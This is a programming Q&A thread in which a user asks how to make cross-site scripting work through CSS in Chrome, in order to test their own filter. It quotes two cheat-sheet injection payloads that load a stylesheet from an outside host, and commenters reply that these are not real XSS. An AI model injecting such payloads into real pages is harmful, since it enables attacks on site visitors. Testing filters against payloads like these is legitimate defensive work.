1

Can anyone teach me how to create a XSS using CSS. It can be somethings like :

<STYLE type="text/css"> BODY{ background:url("http://ha.ckers.org/xss.css")}</STYLE>

or

<LINK REL="stylesheet" HREF="http://ha.ckers.org/xss.css">

(source from https://gist.github.com/sseffa/11031135) but too bad above coding cannot work. I wondering is there somethings i miss out??

Edited

I do read from many other place include Cross Site Scripting in CSS Stylesheets but most of those cannot work. I tested the HTC and IE still cannot work. But actually i wish to create one and work at Google Chrome. Please help me to make it. Simple will do.

OR anyone can show me a reallife website with XSS using CSS. I need to test my coding is it able to block the XSS.

Sorry for my bad english. Thanks for read through here.

Community
  • 1
  • 1
KaiEn Suizai
  • 69
  • 1
  • 12
  • ... it's not XSS if it doesn't involve JavaScript. – BoltClock Aug 17 '16 at 03:50
  • you means it need javasciript on the css as well?? on my example it only navigate to other website right ?? – KaiEn Suizai Aug 17 '16 at 03:52
  • See [my answer here](http://stackoverflow.com/a/30546460/413180) for some links and examples. – SilverlightFox Aug 17 '16 at 11:18
  • Possible duplicate of [Cross Site Scripting in CSS Stylesheets](http://stackoverflow.com/questions/3607894/cross-site-scripting-in-css-stylesheets) –  Aug 18 '16 at 04:20
  • Your example navigates nowhere. It just loads an images, or a stylesheet, from some other site. –  Aug 18 '16 at 04:20
  • Not duplicate.. I read that Question before, he ask about the XSS possible on CSS and the answer is there.. But my question is MOST of the answer cannot work.. i wondering why... MAYBE i should change my title?? ya my example is a xss-owasp-cheatsheet and it show out many coding - example of Cross Site Scripting. – KaiEn Suizai Aug 18 '16 at 05:29

0 Answers0